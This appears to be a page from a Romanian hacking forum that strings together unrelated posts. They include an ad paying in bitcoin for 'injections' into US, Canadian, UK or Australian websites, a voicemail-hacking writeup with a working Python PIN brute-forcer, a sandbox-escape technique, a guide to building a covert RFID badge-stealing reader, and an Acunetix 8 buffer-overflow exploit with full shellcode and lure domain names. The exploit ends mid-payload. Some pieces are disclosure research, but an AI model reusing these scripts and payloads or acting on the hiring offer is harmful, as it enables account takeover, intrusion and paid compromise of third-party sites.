B3st

Site ul afectat trebuie sa fie din usa, canada, uk sau australia.(din orice domeniu de activitate) Platesc in functie de rank ul dupa alexa. Nu va asteptati la sume colosale, maxim 500$ pe injectie(asta doar in cazul in care rank ul pe alexa este sub 10,000)m in rest o sa platesc in medie 10-200$ pe injectie. Jabber: b3st@xmpp.ru Plata se va face doar prin bitcoin.

https://decryptcryptolocker.com/

A few days ago, I gave a presentation at Ruxcon about breaking international voicemail security. Whilst the crowd and conference were absolutely amazing - my overall research, I think has a much wider scope in the terms of whom it could affect. This blog post acts as a technical writeup and companion to my slides presented at Ruxcon. TL;DR Briefly put, through researching the visual voicemail protocol, we were able to document a number of different vulnerabilities, including some which affected the third largest telco in Australia (30% market share) however the findings could affect a large number of other telco's internationally. In particular, these vulnerabilities allowed for the breach of any single voicemail account in a major service provider in Australia - a 3 minute pin crack at most. To some who have already listened to me talk about this, it may feel like I'm stuck on a single topic and rambling. This is not the case, I merely wish to make it possible for others to test and report these issues to their carriers. Otherwise, I don't think we can inherently trust voicemail. It goes without saying, however all of this research was done and completed as a private citizen - it is not affiliated with any company or person other than myself and Huey. Table of Contents 1. Analysis of the VVM protocol 2. Vulnerability Classes in the VVM protocol 3. Mitigation Techniques 4. Responsible Disclosure 5. Final notes Analysis of the VVM protocol What is visual voicemail? Visual voicemail is a relatively new voicemail technology when compared with traditional phone based voicemail systems. In a few words: visual voicemail is a way to listen and interact with your voicemails through a graphical interface. VVM was first heavily publicised in 2007 with the release of the iPhone 2G which contained a native client to handle visual voicemail systems. Being able to access your voicemail visually without the need of all the extra prompts and annoyances striked great support and today visual voicemail exists in most carriers around the world. However the introduction of visual voicemail in itself created a whole new surface area which could be targeted to gain access to someones voicemail. Under the hood, when visual voicemail is used, the visual voicemail client connects to an IMAP server in the background. The authentication process is done fairly seemlessly, and most of the times, no pin prompt is required. Any voicemails ever left via the phone to you are then forwarded to the inbox of your personal email-like account and a two way relationship is formed. Actions made through visual voicemail are forwarded on to reflect changes on legacy voicemail servers. Technical Details and Pre-requisites Unfortunately, even though visual voicemail was released in 2007, the greater public only received documentation on how visual voicemail servers are implemented in 2012. I myself, am unsure if Apple provided exclusive documentation on best practices to Telco's - however in my close analysis of three visual voicemail servers (two in Australia and one in America), they seem to all be differently configured. This may suggest that there are no best practices in the way that these VVM servers are configured. Before digging deep into the technical details of visual voicemail, let's discuss the pre-requisites to merely access the servers: Must be on a service provider which supports visual voicemail: You can find a very handy list over here. You may have to be on the ISPs internet connection i.e. 3G, 4G, etc. Note: For all the VVM servers I've tested, you need 3g/4g/ISP internet access. In order to easily intercept and understand the VVM connection happening, you'll need to have an iPhone. Preferably also a computer running OSX with XCode. By having this, you can natively take network traffic pcap dumps whilst the iphone is connected to 3g/4g. If you meet these pre-requisites, you are all ready to test and find VVM related flaws. For the more broken down analysis about to follow, I recommend you take a look at the public specification for visual voicemail released via the GSMA by OMTP in 2012. It can be found here: http://www.gsma.com/newsroom/wp-content/uploads/2012/03/omtpvvmspecification12.pdf. Authentication One might be wondering, if you aren't required to enter a voicemail password when opening the visual voicemail screen, how does authentication occur? Good question. The authentication to the VVM server is done, usually, via Class 0 SMS messages (aka. flash messages). For those that haven't heard of such a thing before, these messages are essentially a way for the mobile service provider to send you a message which you cannot view on the user level however can be interpreted by the mobile itself to do a particular action (i.e. set up visual voicemail). Once a Class 0 SMS messages is sent, the service provider can check if they are successful based on whether or not a receipt is sent back or not. On the iPhone, these Class 0 messages are not exactly viewable easily - however on Android's or much older mobile phones, it is much easier to grab these SMS messages. In the OMTP document here, it mentions that a "STATUS" Class 0 message is sent with a string that passes on the authentication and server details to the phone. Class 0 messages are used for much more than just VVM authentication, you can find a list of other things they are used for here. The example message used in the specification is the following: //VVM:STATUS:st=N;rc=0;srv=1:10.115.67.251;tui=123;dn=999;ipt=143; spt=25; u=78236487@wirelesscarrier.com;pw=32u4yguetrr34; lang=eng|fre;g_len=25;vs_len=15;pw_len=4-6; smtp_u=super_user@wirelesscarrier.com; smtp_pw=48769463wer;pm=Y;gm=N; In this message, we can easily recognise that srv is the IMAP server IP address/host, ipt is the port of this address/host, u is the username of the IMAP user for the VVM server and pw is the password of the user. Here the SMTP user and pass are also specified, however this is not always the case. Let's look at a real life example: T-Mobile visual voicemail status message - VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9 Quite similar. Once the iPhone is authenticated to visual voicemail, all the user needs to do is open the dialer app and click the voicemail tab. If their service provider supports it, and all the pre-requisites are met - they now have access to visual voicemail. Misc Functionality As per the specification, the VVM server might have some special functionalities compared to traditional IMAP servers: In the specification itself, you may find details about the following: Voice Message Example Video Message Example Fax Message Example ECC Message Example Number Message Example Voice DSN Message Example Voice Message Disposition Notification Message Example Deposit Voice Message Example Greeting Message Example Deposit Voice Message Example I don't cover these aspects here as they are irrelevent to my later research. Capturing the VVM Authentication details iPhone Backup Analysis Example: Vulnerability Classes Bruteforcing By now, most readers must have already recognised that the ability to connect to an IMAP server introduces a whole new field of possible vulnerabilities. One, by far the most obvious, being bruteforce vulnerabilities. Based off the two SMS Class 0 Status messages I showed above, i.e. that being something like this: VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9 You can easily recognise that the pw is a long alphanumeric mixed case string - and really, regardless of the lack of rate limiting and account lockouts, it would be impractical to bruteforce these passwords. However, let's take the example of the third largest provider in Australia, and more so, the potential case in many more providers around the world. What if the visual voicemail "pw" was the same as the users actual voicemail password? (This happens more than you can imagine) I talked earlier about how no public specification existed till mid-late 2012, whilst VVM had been implemented in many mobile providers since 2007. I speculate that the lack of direction and documentation on best practices, as well as laziness or ignorance has lead to such a vulnerability class being introduced to VVM. A VVM server vulnerable to basic bruteforce attacks, might send out a Class 0 SMS Status message which looks something like this instead: VVM:STATUS:st=R;rc=0;srv=vvm.vulnvvm.net;ipt=143;u=0000000000@vms.vulnvvm.com;pw=3915;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9 See the "pw" field? 4 digits. 10,000 combinations. 3 minute pin crack? Priceless. If a user picked the pin 3159 when setting up their voicemail account, that same pin really is not suited to be their visual voicemail password also. I know that one could even start up an Asterisk script to brute pins via the telephone - but at the same time, it's very unfeasible to execute and may take much much longer than going through visual voicemail - an IMAP server. Adding on, it seems to me that visual voicemail servers lack the lockouts. So far, from 3 servers tested initially, we were unable to find any account lockouts. So let's get technical. First thing you need is the visual voicemail server details and a working username and password. You can get this by using the methods I describe above here. Once you've got this, let's start by actually trying to authenticating to this server. Note: you will need to be on the mobile providers internet connection (3g/4g/_) tethering from your mobile is an easy way to do this. Connecting to the VVM server Authenticating to the VVM Server import imaplib mail = imaplib.IMAP4_SSL('vvm.example.com.au') mail.login('61410061410@vvm.example.com.au', '8454') mail.list() Incredibly simple. However, using this script, you can easily debug the connection until you successfuly log in. Essentially, this script is to merely confirm that the VVM server is reachable and that you can connect. Bruteforcing PoC for the VVM server So, now we can programmatically connect to the VVM server, bruteforcing should be a piece of cake. Below is a Python 3 PoC which attempts to bruteforce a VVM server which uses PLAIN-Auth. This PoC utilises 100 workers/threads and ultimately depending on your connection, allows for an incredibly fast pin crack (3 mins or less). Multithreaded VVM Account Bruteforcing import imaplib import itertools import string import time import futures combolist = ["".join(list(x)) for x in itertools.product(string.digits, repeat=4)] overall_start = time.time() def brute(password): username = "61410061410@vvm.example.com.au" start_time = time.time() try: mail = imaplib.IMAP4_SSL('vvm.example.com.au') try: mail.login('61410061410@vvm.example.com.au', password) mail.list() print("{0}:{1} worked!".format(username, password)) with open('oput.txt', 'a') as output: output.write("{0}:{1} worked!\n".format(username, password)) return password except Exception as e: print("Login error (trying {1}): {0}".format(e, password)) with open('error_oput.txt', 'a') as error_output: error_output.write("{0}:{1} failed!\n".format(username, password)) except Exception as e: print("Connection error (trying {1}: {0}".format(e, password)) print("attempt took: {0}".format(time.time() - start_time)) with futures.ThreadPoolExecutor(max_workers=100) as executor: pages = executor.map(brute, (password for password in combolist)) What does this look like in action? Here's the demo of the script above, running on the now patched visual voicemail server for Vodafone Australia. To put this into perspective: Two major mobile network providers, out of a total three, were vulnerable in some way or another allowing an attacker arbitrary access to voicemail accounts Gaining access to ones voicemail without permission is still incredibly easy in 2014 The above exploit with Vodafone was fixed months ago through a responsible disclosure process. Vodafone responded quite quickly, had a preliminary patch in place within hours and pushed a completed patch in a matter of days. Account DoS So, for the above exploit, how would you mitigate it as a service provider? Would you try to block the attacker, or would you lock out an account after x attempts to login. Surprisingly, the default model for voicemail is the latter. When calling through to a traditional voicemail number - trying five or more times for most Australian mobile networks, prompts an account lock out. This model is not necessarily bad, but it also introduces a vulnerability class - the ability to mass DoS accounts and lock them out. What's the PoC you ask? Multithreaded VVM Account Bruteforcing: import imaplib import itertools import string import time import futures combolist = ["".join(list(x)) for x in itertools.product(string.digits, repeat=4)] overall_start = time.time() def brute(password): username = "61410061410@vvm.example.com.au" start_time = time.time() try: mail = imaplib.IMAP4_SSL('vvm.example.com.au') try: mail.login('61410061410@vvm.example.com.au', password) mail.list() print("{0}:{1} worked!".format(username, password)) with open('oput.txt', 'a') as output: output.write("{0}:{1} worked!\n".format(username, password)) return password except Exception as e: print("Login error (trying {1}): {0}".format(e, password)) with open('error_oput.txt', 'a') as error_output: error_output.write("{0}:{1} failed!\n".format(username, password)) except Exception as e: print("Connection error (trying {1}: {0}".format(e, password)) print("attempt took: {0}".format(time.time() - start_time)) with futures.ThreadPoolExecutor(max_workers=100) as executor: pages = executor.map(brute, (password for password in combolist)) It's the same one we can use for bruteforcing. Suppose you're testing VVM servers and you find that there is a lock out after x attempts, you could pretty much lockout a very large number of users. This may be chaotic. Customers would have to call the ISP to get their numbers voicemail reactivated and in some extreme examples, customers may even lose voicemail. This is a very basic exploit, however if you can't bruteforce the pin due to lock outs, this will most likely come in play. Malware vector to access VVM We've already determined that the STATUS Class 0 SMS message containing the credentials for VVM authentication are located in a .db file for Apple phones. Since these credentials give access to the visual voicemail account of a user, if one were to steal this voicemail.db file, they could get access to the victims voicemail. This is interesting as it poses a new vector for malware creators - voicemail could be very important for targeted attacks. There are only a few requirements for an attacker to gain access to your voicemail via malware: You're on a mobile service provider with VVM enabled You have an iPhone backup (after activating VVM) The iPhone backup is unencrypted The attacker infects you and steals the voicemail.db via your backup stored locally on the computer The attacker gets 3g/4g access to your network and then can listen to your voicemails Larger Scope The two very specific attacks above are dangerous, however if we take a look at the larger scope - an attacker is not limited to just finding vulnerabilities on the IMAP server. In the larger view, the server which holds the voicemails could have a large range of other vulnerabilties. Perhaps it holds webapps that can be exploited to gain more access to the server or has other services which are vulnerable. Whether it be technical or through social engineering/other methods, getting access to a VVM server would lead to a large number of voicemails carrier wide, being leaked. Do you trust a carriers worth of voicemails on a single box which could be exploited now or in the future? Mitigation Techniques Mitigating Bruteforce & Account DoS Attacks As I mention earlier, mitigating bruteforce through lockouts may not be the best option due to the possiblity of mass DoS'ing accounts. Instead I've thought of a few options which could be viable in mitigating bruteforce. Time based account lockouts (i.e. 30 mins after 10 attempts) IP/Subscriber based lockouts (not as effective) If my readers think of any other good mitigation techniques, we would love to discuss this in the comments below. We would personally prefer a time based lockout. Even more so, we would prefer our mobile service providers to use a completely random password instead of a pin for our visual voicemail service. Responsible Disclosure GSMA In my entire process of discovering vulnerabilties, I have been in close contact with the GSMA. The GSMA have pushed out my technical write up and PoC to all mobile network providers possible months ago. Whether or not the providers choose to test themselves and fix the vulnerability is up to them. You can find all of the responsible disclosure emails to GSMA here: http://static.shubh.am/vvmdisclosure/Gmail - International Visual Voicemail Security.pdf Vodafone The responsible disclosure process to Vodafone was not done directly by me, but rather via a third party who co-ordinated my research across and gave a time frame to Vodafone for a fix to be released. Vodafone fixed the flaw quickly, with a preliminary patch and performed a full patch in the coming weeks. Notes If there's one thing I want to get across from this lengthy post: test your voicemail. Huey and I have done all of this research alone, with very little support and (most importantly) a massive lack of resources. We would really appreciate it if readers could give us feedback, test your provider's visual voicemail systems or just say hi. Thanks to all of my friends who've endured me going through my obsession with voicemail security in 2014, maybe I'll move onto something more challenging now. As a calculated total, both Huey's and my own efforts have allowed for us to break the authentication security of voicemail accounts for more than half of Australia's mobile users (60% or so). This is crazy! Sursa LE: Ce sloboz au pozele de nu se incarca

Introduction I was pretty bored today and couldn't think of an article to write, decided I'd come up with an example of escaping a sandbox. Most sandboxes use hooks placed within user-mode dlls in order to monitor process activity. If someone was able to remove or bypass these hooks, they would be able to escape the sandbox. A common method used by advanced malware is to write a custom implementation of "LoadLibrary" / "LdrLoadDll". Using this code they can manually map a new, clean, copy of a dll and use it to evade hooks. Because of the nature of PE files, it is generally quite complex to do this and required a good understanding of PE files and the PE loader. As it happens, there is currently no working, easy to find, code to do this on Google, so such methods are not seen is script-kiddie malware and I'd like to keep it that way. Instead I will be showing a nice little hack that works in a similar way, however will be fairly easy for sandbox developers to deal with. How It Works When i was thinking of which way to attack the sandbox, I thought it would be amusing (at least for me) to use hooks to facilitate the escape, I managed to do it using a single hook: "RtlEqualUnicodeString". First, if we look at the call path for "LoadLibrary" we will see it eventually ends up at "LdrLoadDll" which internally calls "LdrpLoadDll". Inside "LdrpLoadDll" is a call to LdrpCheckForLoadedDll, this function is responsible for iterating through the list of currently loaded dlls ("PEB_LDR_DATA->InMemoryOrderModuleList") and checking that the target dll isn't already loaded. A snippet from LdrpCheckForLoadedDll By hooking "RtlEqualUnicodeString" or "RtlCompareUnicodeString", which is called internally by "RtlEqualUnicodeString", we can trick LdrpLoadDll into loading an already loaded dll. Because of the way "GetModuleHandle" works, any subsequent calls will return a handle to the original dll and not our new one. Now that we can trick the loader into loading new dlls, we can load a new copy of ntdll which will not be hooked. Using the address returned by "LdrLoadDll", we can call "GetProcAddress" to get a pointer to "RtlCreateUserProcess" within the new dll. Now we can create a new process whilst bypassing any hooks to catch new process creation. Prevention This method can easily be prevented by using a hook within LdrLoadDll. Each time LdrLoadDll is called, check if the name is that of a module we need to hook, if it is, call the original LdrLoadDll, then pass the address returned to the hooking function. Remember, we cannot use GetModuleHandle or equivalent. An Example Example Code Malwr Analysis - No Escape Malwr Analysis - Escape Process with 2 copies of ntdll loaded Sursa: MalwareTech: Fighting Hooks With Hooks - Sandbox Escape

The Tastic RFID Thief has been around since late 2013, and since I've had a tremendous amount of requests asking how to build it, I thought that this blog post would be of justice to the tastic. About the Tastic RFID Thief The Tastic RFID Thief was introduced by the company Bishop Fox through a series of and videos across mid-late 2013. Bishop Fox describe the Tastic silent, long-range RFID reader that can steal the proximity badge information from an unsuspecting employee as they physically walk near this concealed device.I built my first Tastic RFID Thief in February 2014, with no experience in electronics, and as a total challenge given to me by my boss at the time. It was an overall fun experience however, and I'm grateful that I was able to push myself. So, to all those who want to build one, but don't quite have the experience to do so, my advice is just go for it. The Tastic RFID you see in this post, is the second that I have built for a security consultancy company in Sydney. This guide assumes that you are doing constant testing of the circuit along the way. Whilst this guide itself isn't so detailed and bullet proof, it definitely will act as a great reference and tutorial towards building the Tastic. Getting Started 1. Getting your parts in order Bishop Fox conveniently provide a downloadable list of parts, which you can find here. Most parts are necessary for the production of the tastic, however the following three parts are not really needed: You can mount the board yourself with some tape/hackiness: Adafruit - Board Edge Mounting Kit - Pack of 4 ID 1116 (~$3)Board Edge Mounting Kit - Pack of 4 ID: 1116 - $2.95 : Adafruit Industries, Unique & fun DIY electronics and kits This is for showing off/aesthetic purposes only: Two Wire Display Stand; Set of 2 6A - Black (~$9)Amazon.com: Gibson Holders Two Wire Display Stand; Set of 2, Black (6A-: Office Products Official HID MaxiProx 5375AGN00's come with a screw to tighten the lid by default: Single thumbscrew in front to hold cover onNylon 6/6 Thumb Screw, Knurled Head, #6-32, 3/4" Length (ASIN: B000FN2ADW) Nylon 6/6 Thumb Screw, Plain Finish, White, Knurled Head, Flat Point, Meets ASTM D4066/ASTM D6779, 3/4" Length, Fully Threaded, #6-32 Threads (Pack of 100): Amazon.com: Industrial & Scientific Since the above isn't stated in the parts list, I thought I would just make it clear to new comers that those parts are not essential. Additionally, the project will require having access to the following equipment: Soldering Iron w/ solderSome sort of clamp to hold anything which needs to be solderedHeader pins, rainbow cable Last, but not least, Bishop Foxhave kindly provided the PCB design/schematics needed for this project. They are freely available and can be found here. You can get such a Fritzing PCB printed out via: Fab — Fritzing Fab or Printed Circuit Board Prototype - PCB Fabrication - Assembly | Advanced Circuits 2.Connecting up the PCB In order to connect up the PCB, you'll need to fire up your soldering iron to around 400°C and wait some time to ensure that it is hot, and ready to go. While the solder is warming up, simply place the Ardiuno Nano onto the PCB, fitting it in where outlined: When in place, it should look something like this: By either using a clamp, or something which can hold the arduino, as well as PCB in place upside down, solder the arduino on: The end result should look like this: Since the general gist of soldering things onto the PCB has been established, just continue adding all the other parts via soldering onto the PCB where indicated on the PCB. Here's how my PCB turned out, which should be good guidance of how to set everything up. Clip anything from the bottom of the PCB if it is too long, e.g. pins from the arduino and the legs of the resistors, capacitors and voltage regulators. Note: For the Maxiprox connection pins for the PCB, you can see how my PCB contains header pins instead of a direct connection. This allows for the PCB to be moved freely, right until we make the final connection. Congratulations, your PCB now has all the parts needed, attached. We can now continue with the assembly of the LCD screen. Here is how the PCB should look from the bottom (sorry for the blurriness!): 3. Assembling the LCD Screen The LCD screen, in my opinion is largely not required. Perhaps for demonstration and debugging purposes it can be quite useful, however in a real life penetration test, it's unlikely that once you steal a persons RFID information, you'll quickly check your Tastic RFID Thief to see the number pop up on the LCD screen momentarily. However, I did document it for everyone. Since header pins are all round useful, add some header pins to the RX, GND and VDD spots on the LCD board. Solder these header pins on, like seen in the image below: These three pins will join accordingly to the 3 pin terminal block on the PCB. Keep track of the colours I used for the connection (green = VDD, yellow = GND, orange = RX). 4. Preparing the Batteries In this build of the Tastic RFID Thief, instead of the suggested 2 x 6 battery case solution, I was forced to instead use 3 x 4 battery case solution. Basically, connect the battery packs up like the image below (Note: Don't solder all the connections until you're happy with the arrangement and the switch has been added): In the image above, you may notice the lack of a switch in between the last battery back and the terminal block on the PCB. When building the RFID tastic, my friend andI added the switch later, after confirming that the battery circuit was working fine. The entire circuit is below (without the RFID reader connected): 5. Connect the PCB to the HID Maxiprox By using the header pins we put into the PCB earlier, we can easily make a connection from the PCB to the reader. The photo below, shows how it could be done (colour coding to help you out): You may notice that I have not connected the wires for the LCD, this was because for some reason it was somehow shorting the entire circuit. I concluded that it was either faulty, or that I had messed up something with the power distribution, however as soon as it was removed, everything was working fine, consistently. 6. Finishing Up With Hardware To finish up the project, simply hold everything down with electrical tape. To make sure that the PCB does not move around when the Tastic is closed, you can use double sided tape or something similar. One of the biggest issues included making sure that the height of everything placed inside of the maxiprox was less than the actual height of the maxiprox. If anything were higher, then the casing would not close without extra pressure (which is seriously not recommended). Additionally, you may need to set your Maxiprox to the following settings in the image below: and the voltage level to the following setting: Even though I don't have any photos of setting it up, in the finalisation stages, it's also recommended to fix the missle switch/regular switch into the hole provided in the Maxiprox. The final version of the Tastic RFID Theif looked something like this: Notice the missile switch to the right of the PCB. 7. Uploading Code to the Arduino This part is quite simple.Download the Ardunio software here: Arduino - SoftwareDownload the Tastic RFID source code here: http://www.bishopfox.com/download/814/Download the SDFat Library for Arduino here: http://sdfatlib.googlecode.com/files/sdfatlib20111205.zipRead the following guide to help install the SDFat Library: Arduino - LibrariesCompile the project to ensure no errors arise, and then simply connect the arduino on the PCB to your computer via a mini USB cableSelect your respective device and COM port from the options of the Arduino IDE and click the upload button Completion! Once the code is uploaded, put in the microSD card into the microSD card reader on the PCB, ensure that no connections are damaged or missing and keep an eye out on the LCD screen (if one is attached). The building process is now complete. Feel free to flick the switch on and make sure that your RFID cards are being read and written to the microSD card. I really do recommend reading Bishop Fox's page on the tastic, and watching their video demonstrations to give you even more of an understanding of how the tastic works and how to build it. Good luck and feel free to contact me along the way! Sursa: Guide to building the Tastic RFID Thief

Poate cu asta: https://hideme.today/dev/

holdsecurity.com/news/cybervor-breach sau http://krebsonsecurity.com/2014/08/qa-on-the-reported-theft-of-1-2b-email-accounts/ Sa pierdut informatia pe drum

Dap .. oricum pt ca majoritatea folosesc versiunea cracked o sa fie 1year day ))

A lot of sites owners will tell you that the majority numbers of scans, performed against their sites, are performed by automatic tools like NESSUS, ACUNETIX, and APPSCAN. Today 0DAY will be focused on one of the most popular web scan in the world, ACUNETIX. The POC will be against ACUNETIX 8 (build 20120704 since it’s one of the most common cracked version which was published in the net and used by many newbie hackers). This disclosure will not only reveal a new vulnerability, but demonstrates a whole new perception of dealing with external attacks. Instead of protecting your web sites again and again, or buying a new advanced WAF (web application firewall), let’s give the attackers a reason to be afraid, reason to think twice before they press the “SCAN” button. In this article, I will not give a full working exploit for all scan scenarios nor for all operating systems, but a proof of concept that hopefully will grow into a new effort of research for vulnerabilities in Penetration test tools. So let’s get our hands dirty ACUNETIX is a powerful tool for scanning and finding vulnerabilities at websites. Many newbie attackers tend to use this tool due to the simplicity of its use. ACUNETIX offers its users a simple wizard base scan that covers many aspects of the vulnerability scan. One of the aspects is the ability to scan more domains or sub domains related to the scanned website. For example, if we scan my blog “http://an7isec.blogspot.co.il”, we will get the result shown below: After a little research about this option, I figured out that ACUNETIX starts its wizard by sending an HTTP request to the site and learning about it from its HTTP response. Furthermore the wizard learns about the external related domains from the external sources that appear at the website, for example: “<img src=http://externalSource.com/someimg.png'>http://externalSource.com/someimg.png >” “<a href=http://externalSource.com/ ></a>” Etc... Further Analysis reveals that if one of the external domain name length is more than 268 Byte’s, ACUNETIX will be crashed , so if we want to cause a crash, all we need to do is to put some kind of external source at our site, which have the length of 268 Byte’s or more, say something like this: <A href= “http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAA”> Quick view of this application in Immunity Debugger reveals that EDX was corrupted by the fuzzing string which caused access violation: Despite the fact that further writing runs over the Structured Exaction Handler (SEH) as you will probably notice ,my advice for you is not to go that way, believe me I tried it for several days with no success (because of the safe SHE mechanism). However, we have another problem with this exploit, In one word, “ASCII”. ACUNETIX gets its information about external domains as a URL. This fact causing the string to be converted into Web Browser friendly string. While ASCII accepts chars like: 0x22 (“), 0x23 (#), 0x24 ($), 0x25 , 0x5C (\), 0x2F (/) and more … URL string accepts only printable alphanumeric chars and URL converted special chars (with few exceptions). So if my external source contains one of the special chars, they will be converted into ”%SOMETHING”. For example, the char "quotes" (“) will be converted into 253232 in the memory because it’s the translation of %22. Another example that demonstrates the URL encoding is: the char "percent" which will be converted into 253235 in the memory. Bypassing it, will be by building an exploit that contains only "A-Z, a-z, 1-0" chars and few special chars that aren’t converted in the process of URL ENCODE like: "! ( ) = } { " . (not a simple job at all) In short, I had to find a way to fix the flow of the application in order to avoid SEH based exploit (Because it was impossible to bypass safe SHE protection with URL ASCII strings only). Finally, I found a way. In order to fix the flow, EDX had to be overwritten with a readable memory address. Nevertheless, it is important to remember that EDX is not been used as is, but minus 8: MOVE ECX, DWORD PTR DS: [EDX-8]; Meaning that it doesn’t matter which memory address we use, we should add 8 to the address (in the exploit), convert the whole address into printable URL STRING, and hope to the best. After little research, I found such an address. The address was at “0x663030XX” and luckily it had the possibility to be converted into URL String without special bad char's --> " f005 ". After playing with the code I found that the exact location of that EDX overwrite, is at 268 Byte's offset. So for now our exploit looks like this: <img src=”[url]http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA[/url] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAA[COLOR="#FF0000"]500f[/COLOR]BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ”> Running ACUNETIX's scan against that payload, caused the next result: As you can see above, the EIP was overwritten!! It appears that the idea of fixing the flow was successful since it enabled me to be in a better position of attack (EIP overwrite). Beside it, our potential space for shell code is now presented in EAX and ESP. When it comes to the decision whether choosing ESP or EAX, ESP is a better choice from two different aspects: One, ESP is pointing directly at the beginning of the shell string. Two, there is much more space for a biggest shell code to be written. After I chose ESP, I needed to find an instruction of “JMP ESP” in a memory address that could be written by URL string (limited ASCII as mention above). The desired address successfully founded at the location of: 0x7e79515d (SXS.DLL) – (In ASCII “ ]Qy~ “). After all that, our shell code supposed to look like this: <img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBB”> 500f = 0x66303035 : readable memory location for fixing the flow of the application that was corrupted by the buffer overflow. ]Qy~ = 0x7e79515d (JMP ESP from SXS.DLL). OK, right now we are at the semifinal stage, running the application against above payload, produced the next result: Yea… we landed exactly at the beginning of the final payload. The next step will be to use suitable windows shell that will be made only from URL string (limited ASCII). Such shell can be generated with “ Metasploit ” and it is called "Alphanumeric Shell". The important thing to remember while using such payload, is that the payload's start address must be presented at one of the registers. If the payload presents at ESP, the first OP CODE of the shell need to be "PUSH ESP". In my Proof of concept, I used simple "CALC.EXE" shell code generated by “Metasploit that led me to the final stage which is ;working exploit!! Moreover, our exploit is successfully bypassing DEP protection, simply by choosing only the addresses that aren’t compiled with DEP. And due to the fact that ACUNETIX itself is not complied with DEP, this exploit should work perfectly on windows XP. After successfully reaching all our goals, Let’s look on the final working exploit: <img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2B B 0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5 S1JR7LCTKN8BGR3RWS9 JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UK L71ME2NMP7FQY0NOHKP KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTN GU7ZUXDDXZSOMKL4SQK UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJ SLSKGBLYKOY7NWWLNG6 LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649D ZTPP26LWSQRLZLQK15X UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMO LSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”> We need to remember that in order to enjoy our exploit, the newbie hacker must check our extra domain name, in the list of the extra domains in ACUNETIX wizard window. So what can we do in order to make our domain name attractive? Thinking about it, I came up with two ideas: 1: writing some attempting domain name that will make the hackers check that domain, like, ADMIN.ControlMangment.1249874350345.An7isec.blogsp ot.co.il . 2: using several external domains with the following names: “SQLINJECTION” “XSS” “CSRF” And so on… These kind of names will probably give the eye of the hacker the feeling that the domain list window is actually an options window. The written code bellow demonstrates that kind of misleading: <html> <img src="http://SQLInjection...................................... .. .................................................. ................... .................................................. ................... ............AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA 